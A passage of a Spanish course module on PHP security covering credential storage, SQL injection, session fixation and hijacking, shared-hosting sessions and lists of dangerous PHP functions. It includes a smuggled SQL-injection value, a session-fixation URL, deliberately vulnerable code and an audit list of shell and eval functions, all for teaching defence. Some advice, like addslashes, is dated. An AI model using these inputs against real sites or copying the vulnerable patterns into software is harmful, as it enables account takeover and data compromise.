general, se conecta a un servidor de base de datos y es necesario hacer uso de credenciales de acceso
para autenticarse en el mismo.

Un ejemplo típico lo encontramos en:

<?php

$host = '[Link]';

$username = 'myuser';

$password = 'mypass';

$db = mysql_connect($host, $username, $password);

?>

Esto podría ser un ejemplo típico de un fichero denominado [Link] que se incluye siempre y
cuando necesitemos conectarlo a una base de datos. Este enfoque es conveniente, ya que mantiene las
credenciales de acceso en un único archivo.

Los posibles problemas de seguridad surgen cuando el archivo está en algún lugar dentro de la raíz
de los documentos o accesible en rutas predecibles o no protegidas adecuadamente. Como es lógico,
puede dar lugar a situaciones donde las credenciales de acceso queden expuestas.

26/51
Seguridad PHP

Recuerde que todo dentro de la raíz de los documentos tiene una URL asociada a ella.

Por ejemplo, si la raíz de documentos se encuentra en /apache/htdocs/usr/local, a continuación, un


archivo ubicado en /usr/local/apache/htdocs/inc/[Link] tiene un enlace como
[Link]

Al conjuntar todo esto con el hecho de que la mayoría de los servidores web servirán las
extensiones de archivos .inc como texto sin ningún tipo de formato, se corre el riesgo de exponer las
credenciales de acceso en texto claro. Un problema mayor es que el código fuente de estos módulos se
puede exponer, pero las credenciales de acceso son particularmente sensibles y jamás deben revelarse.

Por supuesto, una solución muy sencilla es colocar todos los módulos fuera del documento raíz, en
un directorio “oculto” y sin nombres predeterminados, ya que nuestra aplicación conocerá
perfectamente cómo se denomina y dónde se encuentra y esto es una buena práctica.

Tanto las funciones de PHP include() y require() pueden aceptar una ruta del sistema de ficheros,
por lo que no hay ninguna necesidad de hacerlo accesible a través de módulos de URL. Es tener un
riesgo innecesario.

Si no se tuviera ninguna opción para poder ubicar los módulos como deseemos y deben de
encontrarse obligatoriamente dentro de la raíz de documentos, puede especificarse algo como lo
siguiente en su archivo [Link] (suponiendo Apache) o en un fichero .htaccess:

<Files ~ "\.inc$">

Order allow,deny

Deny from all

</Files>

27/51
Seguridad PHP

No es una buena práctica tener sus módulos de procesado por el motor de PHP. Esto incluye el
cambio de nombre de sus módulos con una extensión .php, así como el uso de AddType para tratar a
los archivos .inc como ficheros de PHP.

La ejecución de código fuera del contexto previsto puede ser muy peligroso, porque es inesperado y
puede conducir a resultados desconocidos. Sin embargo, si sus módulos constan de solo asignaciones
de variables (como en el ejemplo anterior) se mitiga este riesgo en particular.

Una solución eficaz para proteger las credenciales de acceso de base de datos se describe en el libro
de PHP (O'Reilly) por David Sklar y Adam Trachtenberg. Se crea un fichero con las credenciales en
/ruta/secreta/a/fichero, que solo el usuario root (o cualquier usuario que lo necesite) puede leer, pero
no cualquier usuario:

SetEnv DB_USER "myuser"

SetEnv DB_PASS "mypass"

Se incluye en el [Link] de la forma:

Include "/ruta/secreta/a/fichero "

Y desde el propio código, podemos usar las variables de entorno


$_SERVER['DB_USER'] y $_SERVER['DB_PASS'].

Por tanto, no será necesario escribir en el código el nombre de usuario y contraseña en cualquiera
de las secuencias de comandos, el servidor web tampoco podrá leer el fichero de credenciales y no
podrán ser leídas por otros usuarios. Solo tenga cuidado de no exponer estas variables con algo como
phpinfo() o print_r($ _ SERVER).

8.2. SQL Injection

28/51
Seguridad PHP

Conforme hemos visto en los módulos de OWASP, realizar un ataque de inyección SQL es
extremadamente simple y es muy fácil poder defenderse del mismo, pero muchísimas aplicaciones web
siguen siendo vulnerables a dichos ataques.

Considere la siguiente sentencia SQL:

<?php

$sql = "INSERT

INTO users (reg_username,

reg_password,

reg_email)

VALUES ('{$_POST['reg_username']}',

'$reg_password',

'{$_POST['reg_email']}')";
?>

Esta consulta se construye con $_POST, que debe de ser inmediatamente sospechosa

Supongamos que esta consulta es la creación de una nueva cuenta. El usuario proporcionará un
nombre de usuario deseado y una dirección de correo electrónico. La solicitud de registro generará
una contraseña temporal y enviará un mensaje de correo electrónico al usuario para verificar la
dirección de correo electrónico suministrada.

Imagine que el usuario introduce como un nombre de usuario:

bad_guy', 'mypass', ''), ('good_guy

Esto ciertamente no será jamás un nombre de usuario válido, pero sin usar el filtrado de datos, la
aplicación no lo puede decidir.

Si se introduce una dirección de correo electrónico válida (shiflett@[Link]) y 1234 en lugar de


generar la solicitud de la contraseña, la sentencia SQL se convierte en la siguiente:

<?php

29/51
Seguridad PHP

$sql = "INSERT

INTO users (reg_username,

reg_password,

reg_email)

VALUES ('bad_guy', 'mypass', ''), ('good_guy',

'1234',

'shiflett@[Link]')";

?>

En lugar de la acción pretendida de crear de una única cuenta (good_guy) con una dirección de
correo electrónico válida, la solicitud ha inyectado el código necesario en SQL para crear dos
cuentas y el usuario suministrado, con todos los detalles de la cuenta bad_guy.

Si bien este ejemplo en particular podría no parecer tan nocivo, conforme se ha abordado en los
módulos referentes a OWASP, debe quedar claro que el ejemplo sería una de las “mejores” cosas
que podrían suceder una vez que un atacante pueda realizar modificaciones en las sentencias SQL.

Por ejemplo, en función de la base de datos que se emplee, es posible que se permita enviar
varias consultas al servidor de base de datos en una sola llamada. Así, un usuario potencialmente
puede terminar la consulta existente con un punto y coma y pueda emplear a continuación una
consulta completamente libre y no limitada de la elección del atacante.

MySQL hasta hace muy poco tiempo, no permitía varias consultas por lo que este riesgo en
particular se mitiga. Las nuevas versiones de MySQL permiten varias consultas, pero la extensión
de PHP correspondiente (ext/mysqli) requiere el uso de una función separada si desea enviar varias
consultas empleando mysqli_multi_query() en lugar de mysqli_query().

30/51
Seguridad PHP

Por supuesto, es mucho más seguro permitir realizar una única consulta ya que limita lo que un
atacante pueda potencialmente realizar contra nuestra base de datos.

La protección contra la inyección de SQL es fácil

Filtrar sus datos.


Empleando filtros de datos adecuados, la mayoría de los problemas de seguridad son
mitigados, y algunos están prácticamente eliminados.
Escape las comillas simples y dobles.
Si su base de datos permite que pueda poner comillas simples alrededor de todos los valores
en sus sentencias SQL, independientemente del tipo de datos, debe de emplearlo. MySQL
lo permite.
Escape todos sus datos.
A veces es posible que datos válidos pueden interferir involuntariamente con el formato de
la instrucción SQL en sí. Utilice mysql_escape_string () o una función nativa para escapar a
su base de datos en particular. Si no hay uno específico, addslashes() es un buen recurso.

IX. Sesiones

9.1. Establecimiento de la sesión


Establecer una sesión de seguridad es un tema complejo y no es de extrañar que las sesiones sean un
objetivo frecuente de ataques. En la mayoría de los ataques de suplantación de sesiones, el atacante
intenta obtener acceso a la sesión de otro usuario haciéndose pasar por ese usuario.

Obtener el identificador de sesión

Es por ello que es clave para el atacante obtener el identificador de sesión, ya que esto es necesario
para cualquier ataque de suplantación. Hay tres métodos comunes utilizados para obtener un
identificador de sesión válido:

Predicción

Se refiere a intentar obtener o adivinar un identificador de sesión válido. Con el mecanismo de


sesiones nativas propio de PHP, el identificador de sesión tiene suficiente aleatoriedad por lo que
hace poco probable que sea el punto más débil en su aplicación.

31/51
Seguridad PHP

Captura

Intentar capturar un identificador de sesión válido es el tipo más común de ataque de sesiones y
hay numerosas técnicas para poder hacerlo. Debido a que los identificadores de sesión se
transmiten normalmente en las cookies o como variables GET, los diferentes enfoques se centran
en atacar estos métodos para poder conseguirlas. Aunque ambos pueden ser atacados, es mucho
más seguro guardar la sesión mediante cookies que por un método GET.

Fijación

Es el método más simple de obtener un identificador de sesión válido. Aunque no es muy difícil
de proteger la aplicación, si su mecanismo de sesión consiste en nada más que session_start() es
vulnerable.

Para poder demostrar la fijación de una sesión, supongamos el siguiente código [Link]:

<?php

session_start();

if (!isset($_SESSION['visits'])) {

$_SESSION['visits'] = 1;

} else {

$_SESSION['visits']++;

echo $_SESSION['visits'];

?>

Cuando se visita la página por primera vez, se obtendrá 1 en la salida. Cada visita posterior,
aumentará la sesión para mostrar cuántas veces ha sido visitada.

32/51
Seguridad PHP

Para poder realizar el ejercicio, es necesario que no exista ningún identificador de sesión previo.
Simplemente para atacar esta aplicación sería necesario visitarla con un parámetro como ?
PHPSESSID=1234 en la URL.

A continuación, con otro navegador completamente diferente o incluso otro equipo, si se visita con
la misma URL ?PHPSESSID=1234 se demostrará que no se ve la salida en 1, sino que se continuará
con la sesión que se había iniciado con anterioridad en el otro navegador o por otro usuario.

¿Por qué puede ser esto un problema? En la inmensa mayoría de ataques de fijación de sesión, tan
solo es necesario emplear un enlace o una redirección a nivel de protocolo para enviar un usuario a un
sitio remoto con el identificador de sesión incluido en la URL. El usuario probablemente no se dará
cuenta, puesto que el sitio se comportará exactamente de la misma forma. Debido a que el atacante ha
elegido el identificador de sesión y como se ha comprobado, podrá ser empleado para lanzar ataques
de suplantación con secuestro de la sesión de usuario.

Un ataque tan simple como el presentado es muy fácil de prevenir. Si no hay una sesión activa
asociada con un identificador de sesión que el usuario esté presentando a la aplicación, entonces será
necesario regenerarlo solo para poder estar seguros:

<?php

session_start();

if (!isset($_SESSION['initiated'])) {

session_regenerate_id();

$_SESSION['initiated'] = true;

?>

33/51
Seguridad PHP

El problema con una defensa tan simple y minimalista como la presentada es que un atacante puede
inicializar una sesión para un identificador de sesión válido en particular y, a continuación, utilizar ese
identificador para lanzar el ataque.

Para protegerse contra este tipo de ataque, primero hay que considerar que un secuestro de la
sesión solo será útil cuando el usuario ha iniciado sesión o ha obtenido de otro modo un mayor nivel
de privilegio. Así que, si modificamos la forma de regenerar el identificador de sesión cuando se
produzca algún cambio en el nivel de privilegios (por ejemplo, después de verificar un nombre de
usuario y contraseña), habremos eliminado prácticamente el riesgo de un ataque de fijación de sesión
con éxito.

9.2. Secuestro de sesiones


Podemos afirmar que se trata del ataque más común y que también se refiere a cualquier ataque que
intenta obtener acceso a la sesión de otro usuario.

Al igual que ocurre con el ataque anterior de fijación de sesión, si el mecanismo de sesión solo se
compone de la función session_start(), que es vulnerable, el método para capturar la sesión conforme
vimos en los módulos de OWASP no es tan simple.

Más que centrarse en cómo mantener el identificador de sesión para ser capturado, el objetivo será
complicar la suplantación, ya que con cada capa que podamos añadir, aumentaremos la seguridad de la
aplicación. Para ello, vamos a examinar las medidas necesarias para secuestrar con éxito una sesión. En
cada escenario, vamos a suponer que el identificador de sesión se ha visto comprometida.

Con el mecanismo de la sesión más simple, un identificador de sesión válido es todo lo que se necesita
para secuestrar con éxito una sesión. Para mejorar esto, tenemos que comprobar si en la petición HTTP
que podemos utilizar para la identificación adicional hay algún campo adicional.

No es prudente confiar a nivel de protocolo TCP/IP, como la dirección IP, ya que estos son los
protocolos de nivel inferior que no están destinados para dar cabida a las actividades que tienen
lugar en el nivel HTTP. Un único usuario puede potencialmente tener una dirección IP diferente
para cada solicitud, y múltiples usuarios pueden potencialmente tener la misma dirección IP.

34/51
Seguridad PHP

Petición HTTP típica

Recordemos una petición HTTP típica:

GET / HTTP/1.1

Host: [Link]

User-Agent: Mozilla/5.0 Gecko

Accept: text/xml, image/png, image/jpeg, image/gif, */*

Cookie: PHPSESSID=1234

Conforme hemos visto anteriormente, tan solo es necesario el identificador del host para la petición
HTTP.

Poco prudente confiar

Es por ello que es poco prudente confiar en cualquier otra cosa. Sin embargo, la consistencia es
realmente todo lo que necesitamos, porque solo estamos interesados en complicar la suplantación sin
que afecte negativamente a los usuarios legítimos.

Vamos a suponer que la solicitud anterior es seguida por una solicitud con un user-agent diferente:

GET / HTTP/1.1

Host: [Link]

User-Agent: Mozilla Compatible (MSIE)

Accept: text/xml, image/png, image/jpeg, image/gif, */*

Cookie: PHPSESSID=1234

Aunque se presenta la misma cookie, si suponemos que se trata del mismo usuario, es muy poco
probable que el navegador modifique la cabecera user-agent entre las peticiones.

Comprobación adicional

Vamos a modificar el mecanismo de la sesión para realizar una comprobación adicional:

<?php

session_start();

if (isset($_SESSION['HTTP_USER_AGENT'])) {

35/51
Seguridad PHP

if ($_SESSION['HTTP_USER_AGENT'] !=
md5($_SERVER['HTTP_USER_AGENT'])){

/* Prompt for password */

exit;

} } else {

$_SESSION['HTTP_USER_AGENT'] = md5($_SERVER['HTTP_USER_AGENT']);

?>

Un poco más seguro

Con el anterior código, entonces, un atacante deberá no solo presentar un identificador de sesión
válido sino que tendrá que emplear la cabecera user-agent correcta asociada con la sesión. Esto
complica las cosas un poco y, por lo tanto, es un poco más seguro.

¿Podemos mejorar esto? Por supuesto. Para el atacante, sería muy fácil obtener la cabecera user-
agent correcta y secuestrar la sesión.

Por ejemplo, podríamos hacer que el usuario envíe el MD5 del user-agent en cada solicitud. Un
atacante podría ya no solo recrear los encabezados que las solicitudes de la víctima
contienen, también sería necesario suministrar esta información adicional.

Hay que tener en cuenta, que también sería trivial poder obtener el MD5 del user-agent para el
atacante, pero podemos complicar un poco más todo añadiendo un poco más de aleatoriedad a la
forma en que se construye el token:

<?php

$string = $_SERVER['HTTP_USER_AGENT'];

$string .= 'SHIFLETT'; /* Add any other data that is consistent */

$fingerprint = md5($string);

?>

36/51
Seguridad PHP

Huella digital como una variable URL

Teniendo en cuenta que estamos pasando el identificador de sesión en una cookie y esto ya requiere
que el ataque comprometa la misma para obtenerla, debemos enviar esta huella digital como una
variable URL. Esto debe estar en todas las direcciones URL como si fuera el identificador de sesión,
ya que ambos deben ser necesarios para que una sesión para continuar de forma automática, sin
olvidar nunca todos los controles de paso adicionales.

Con el fin de asegurarse de que los usuarios legítimos no son tratados como atacantes, simplemente
solicite una contraseña si no se pasa el testigo. Si hay un error en su mecanismo o se sospecha de un
ataque de suplantación, lo que provocó solicitar una contraseña antes de continuar, es la forma menos
ofensiva para manejar la situación. De hecho, los usuarios pueden apreciar el toque adicional de
protección percibida por una consulta de este tipo.

Hay muchos métodos diferentes que puede utilizar para complicar la suplantación y proteger sus
aplicaciones de secuestro de sesión.

La cabecera user-agent no es lo suficientemente consistente como para ser utilizado en la forma


descrita. El argumento es que un proxy HTTP puede modificar la cabecera user-agent por lo que
un usuario legítimo se vería afectado.

X. Alojamientos compartidos
Si alojamos nuestras aplicaciones web en un servidor compartido, como es lógico, la seguridad no va
a ser tan fuerte como cuando se hace en un host dedicado. Esta es una de las desventajas de tener un
precio muy bajo.

Un aspecto particularmente vulnerable de un alojamiento compartido, es tener las sesiones


compartidas. De forma predeterminada, PHP almacena todos los datos de sesión en /tmp.

37/51
Seguridad PHP

Tan solo el usuario con el que se ejecuta el servidor HTTP será el único que podrá leer estos
archivos de sesión. Ningún otro usuario podrá.

$ ls /tmp

total 12

-rw------- 1 nobody nobody 123 May 21 12:34


sess_dc8417803c0f12c5b2e39477dc371462

-rw------- 1 nobody nobody 123 May 21 12:34


sess_46c83b9ae5e506b8ceb6c37dc9a3f66e

-rw------- 1 nobody nobody 123 May 21 12:34


sess_9c57839c6c7a6ebd1cb45f7569d1ccfc

Por desgracia, es trivial escribir un script PHP para leer estos archivos y debido a que se ejecutará
como el usuario nobody (o cualquier usuario que use el servidor web) tendrá concecidos los privilegios
necesarios para poder hacerlo.

La directiva safe_mode puede ayudar a prevenir esto y solucionar otros problemas de seguridad
similares, pero ya que solo se aplica a PHP, no aborda la causa raíz del problema. Los atacantes pueden
simplemente utilizar otros lenguajes de desarrollo para poder tener acceso.

¿Cuál es la mejor solución? No use el mismo lugar para almacenar las sesiones como todos los demás.
Es preferible almacenarlos en una base de datos o incluso emplear la función session_set_save_handler()
para omitir el tratamiento de sesión predeterminado de PHP con sus propias funciones de PHP.

XI. Funciones “maliciosas” de PHP


Deberán comprobarse en nuestros códigos las funciones de PHP que se han empleado para conocer el
alcance y propósito para el que han sido empleadas. Se muestran a continuación varias listas clasificadas
de funciones que pueden tener consecuencias no deseadas en nuestro código.

Como hemos dicho, tendrá que analizarse cada una de las funciones dentro del contexto empleado,
pues no son en realidad “maliciosas” sino que podrían ser empleadas para cometer acciones no previstas
a través de PHP.

38/51
Seguridad PHP

Ejecución en shell

system - Pasa la salida de comandos directamente al navegador y devuelve la última línea

exec - Devuelve la salida de la última línea de comandos

popen - Abre el pipe de lectura o escritura para procesar un comando

backtick operator – comillas invertidas

pcntl_exec – Ejecuta un programa

Ejecución PHP

eval - Evaluar una cadena como código de PHP

preg_replace (con modificador /e) - Realiza una búsqueda y sustitución de una expresión regular

create_function - Crear una función anónima (estilo lambda)

include[_once] - incluye y evalúa el fichero especificado durante la ejecución del script

require[_once] - es idéntico a include excepto que en caso de fallo producirá un error fatal de nivel
E_COMPILE_ERROR. En otras palabras, éste detiene el script mientras que include sólo emitirá una
advertencia (E_WARNING) lo cual permite continuar el script.

Ejecución de comandos

exec - Devuelve la salida de la última línea de comandos

passthru - Pasa la salida de comandos directamente al navegador

system - Pasa la salida de comandos directamente al navegador y devuelve la última línea

shell_exec - Devuelve la salida de comandos

``` (backticks) - Igual que shell_exec()

popen - Abre el pipe de lectura o escritura para procesar un comando

proc_open - Similar a popen() pero con mayor grado de control

pcntl_exec – Ejecuta un programa

Ejecución de PHPs

39/51
Seguridad PHP

eval()

assert() - identical to eval()

preg_replace('/.*/e',...) - /e does an eval() on the match

create_function()

include()

include_once()

require()

require_once()
$_GET['func_name']($_GET['argument']); $func = new
ReflectionFunction($_GET['func_name']); $func->invoke(); or $func-
>invokeArgs(array());

11.1. Funciones que aceptan devoluciones de llamada

Function => Position of callback arguments

'ob_start' => 0,

'array_diff_uassoc' => -1,

'array_diff_ukey' => -1,

'array_filter' => 1,

'array_intersect_uassoc' => -1,

'array_intersect_ukey' => -1,

'array_map' => 0,

'array_reduce' => 1,

'array_udiff_assoc' => -1,

'array_udiff_uassoc' => array(-1, -2),

'array_udiff' => -1,

'array_uintersect_assoc' => -1,

40/51
Seguridad PHP

'array_uintersect_uassoc' => array(-1, -2),

'array_uintersect' => -1,

'array_walk_recursive' => 1,

'array_walk' => 1,

'assert_options' => 1,

'uasort' => 1,

'uksort' => 1,

'usort' => 1,

'preg_replace_callback' => 1,

'spl_autoload_register' => 0,

'iterator_apply' => 1,

'call_user_func' => 0,

'call_user_func_array' => 0,

'register_shutdown_function' => 0,

'register_tick_function' => 0,

'set_error_handler' => 0,

'set_exception_handler' => 0,

'session_set_save_handler' => array(0, 1, 2, 3, 4, 5),

'sqlite_create_aggregate' => array(2, 3),

'sqlite_create_function' => 2,

Divulgación de información

41/51
Seguridad PHP

Imagen 7.1. Captura de información contenida en phpinfo.


Fuente: [Link]

phpinfo

posix_mkfifo

posix_getlogin

posix_ttyname

getenv

get_current_user

proc_get_status

get_cfg_var

disk_free_space

disk_total_space

diskfreespace

getcwd

getlastmo

42/51
Seguridad PHP

getmygid

getmyinode

getmypid

getmyuid

Otros

extract - Abre la puerta a los ataques de register_globals

parse_str - funciona como extract si sólo se da un argumento.

putenv - Establece el valor de una variable de entorno

ini_set mail - tiene inyección CRLF en el 3er parámetro, abre la puerta al spam. header - en
sistemas antiguos la inyección CRLF podría ser usada para xss u otros propósitos, ahora todavía es un
problema si hacen un header("location: ...."); y no mueren();. El script sigue ejecutándose después de
una llamada a header(), y aún así imprimirá la salida normalmente. Esto es desagradable si usted está
tratando de proteger un área administrativa.proc_nice

proc_terminate

proc_close

pfsockopen

fsockopen

apache_child_terminate

posix_kill

posix_mkfifo

posix_setpgid

posix_setsid

posix_setuid

11.2. Funciones de sistemas de ficheros


Si allow_url_fopen=On podemos con cualquier URL conseguir los ficheros con copy($_GET[‘url’]),
etc. Por tanto:

43/51
Seguridad PHP

Manejadores de ficheros

fopen

tmpfile

bzopen

gzopen

SplFileObject->__construct

Escritura al sistema de ficheros

chgrp

chmod

chown

copy

file_put_contents

lchgrp

lchown

link

mkdir

move_uploaded_file

rename

rmdir

symlink

tempnam

touch

unlink

imagepng - 2nd parameter is a path.

imagewbmp - 2nd parameter is a path.

44/51
Seguridad PHP

image2wbmp - 2nd parameter is a path.

imagejpeg - 2nd parameter is a path.

imagexbm - 2nd parameter is a path.

imagegif - 2nd parameter is a path.

imagegd - 2nd parameter is a path.

imagegd2 - 2nd parameter is a path.

iptcembed

ftp_get

ftp_nb_get

Lectura del sistema de ficheros

file_exists

file_get_contents

file

fileatime

filectime

filegroup

fileinode

filemtime

fileowner

fileperms

filesize

filetype

glob

is_dir

is_executable

45/51
Seguridad PHP

is_file

is_link

is_readable

is_uploaded_file

is_writable

is_writeable

linkinfo

lstat

parse_ini_file

pathinfo

readfile

readlink

realpath

stat

gzfile

readgzfile

getimagesize

imagecreatefromgif

imagecreatefromjpeg

imagecreatefrompng

imagecreatefromwbmp

imagecreatefromxbm

imagecreatefromxpm

ftp_put

ftp_nb_put

exif_read_data

46/51
Seguridad PHP

read_exif_data

exif_thumbnail

exif_imagetype

hash_file

hash_hmac_file

hash_update_file

md5_file

sha1_file

highlight_file

show_source

php_strip_whitespace

get_meta_tags

XII. Resumen
Dentro de este módulo específico, hablamos de vulnerabilidades encontradas dentro del lenguaje PHP,
uno de los más populares y utilizados, dada su naturaleza, open source .

Aun enfocándonos y basándonos en OWASP “Top Ten”, en concreto midiendo y analizando las
diferentes vulnerabilidades encontradas y explotadas dentro de PHP, hemos podido aprender que, debido
a su origen, tiene ciertas funciones que pueden ser explotadas y conllevar a una vulnerabilidad o ataque.
Por ejemplo, si hablamos de shell podemos encontrar:

Exec.
Sustem.
Popen.

Estos, a su vez, si los ejecutamos como comandos logramos conseguir información dentro del propio
código si este no está correctamente asegurado.

Además, encontramos dentro de PHP una de las áreas más vulnerables que es el proceso de
formulario, donde podemos encontrar Cross Site Scripting (XSS) y Cross-Site Request Forgery (CSRF),
ambas incluidas dentro de la lista de vulnerabilidades de OWASP 2017.

Finalmente, también encontramos que una vulnerabilidad recurrente y persistente dentro de PHP es la
inyección de SQL, vulnerabilidad encontrada en numerosas aplicaciones web.

47/51
Seguridad PHP

XIII. Referencias
Revisado sin licencias que no permitan explotación comercial.

[Link]

[Link]

[Link]

[Link]

[Link]

Mann, E. (2017). Security Principles for PHP Applications: A Php [architect] Guide.

Louys, P. (2018). Professional PHP. Building Maintainable and Secure Applications. CreateSpace
Independent Publushing Platform.

Ahsman, H., Choo, K.R., y Prokhorenko, V. (2016): “Intent-Based Extensible Real-Time PHP
Supervision Framework”. IEEE Transactions on Information Forensics and Security. Volumen 11
(10).

48/51
Seguridad PHP

Ejercicios

Ejercicio propuesto

Mediante la aplicación web DVWA ( [Link] realizar todos los ejercicios de


explotación en PHP con los niveles bajo y medio de la misma.

Puede ayudarse con el Proyecto de Fin de Máster con licencia GPLv3 disponible en [Link]
.[Link]/recursos/Proyectos/PFM/2011_12/PFM_DVWA.pdf

49/51
Seguridad PHP

Recursos

Bibliografía
Professional PHP. Building Maintainable and Secure Applications. : Louys, P. (2018).
Professional PHP. Building Maintainable and Secure Applications. CreateSpace Independent
Publushing Platform.
Security Principles for PHP Applications: A Php [architect] Guide. : Mann, E. (2017).
Security Principles for PHP Applications: A Php [architect] Guide.
Ataques de XSS en entornos Microsoft: Protección general.:
[Link]
Boletines de seguridad de Microsoft: TechCenter de Seguridad.:
[Link]
Intent-Based Extensible Real-Time PHP Supervision Framework. : Ahsman, H., Choo,
K.R., y Prokhorenko, V. (2016): “Intent-Based Extensible Real-Time PHP Supervision
Framework”. IEEE Transactions on Information Forensics and Security. Volumen 11 (10).
Mensajes de error seguros: NET Framework. : [Link]
es/library/994a1482(v=vs.100).aspx
Microsoft Developer Network. Cifrar información de configuración mediante una
configuración protegida.: [Link]
Microsoft Developer Network. Cómo: Mostrar mensajes de error seguros.:
[Link]
Microsoft Developer Network. [Link]
(Propiedad).: [Link]
es/library/[Link](v=vs.100).aspx
Microsoft Developer Network. [Link] (Espacio de nombres).:
[Link]
Microsoft Developer Network. Tutorial: Cifrar la información de configuración
mediante la configuración protegida.: [Link]
es/library/dtkwfdky(v=vs.100).aspx
Microsoft Developer Network: MSDN.: [Link]
Microsoft Docs. Información general sobre los ataques mediante secuencias de
comandos.: [Link]
Microsoft LINQ: Language-Integrated Query.: [Link]
es/library/[Link]
Microsoft Patterns & Practices: Patterns & Practices. : [Link]
Microsoft Safety & Security Center: Security Center.:
[Link]
Microsoft TechCenter de Seguridad.: [Link]
es/security/[Link]

50/51
Seguridad PHP

OWASP “Top Ten” for .Net Developers: Troy Hunt. Microsoft MVP Licencia Creative
Commons Attibution 3.0 unported license.: [Link]
[Link]

Glosario.

Deface: Manipulación por un usuario malicioso de los recursos de la aplicación web


original.

Denegación de servicio (DoS): Hacer deliberadamente que una aplicación esté menos
disponible de lo que debería. El típico ejemplo es la sobrecarga de una aplicación web para que
no pueda servir más recursos al resto de usuarios.

Disclosure (información): Hecho de desvelar información confidencial. Puede ser


voluntariamente (por desconocimiento de que se está revelando) o involuntariamente (robo).
Los típicos ejemplos son el robo de contraseñas, pero también podría ser cualquier acceso a
archivos y recursos guardados en el servidor.

Suplantar (spoof): Emplear los datos legítimos de otro usuario de forma no autorizada.

WAF (Web Application Firewall): Medida adicional de seguridad que se implementa entre
el cliente y el servidor de aplicaciones. En cada petición que se recibe, realiza una inspección
profunda de los datos que contiene para proteger a la aplicación y/o servidores de cualquier
tráfico malicioso que hubiera tenido lugar y poder aislar y bloquearlo en tiempo real.

51/51

También podría gustarte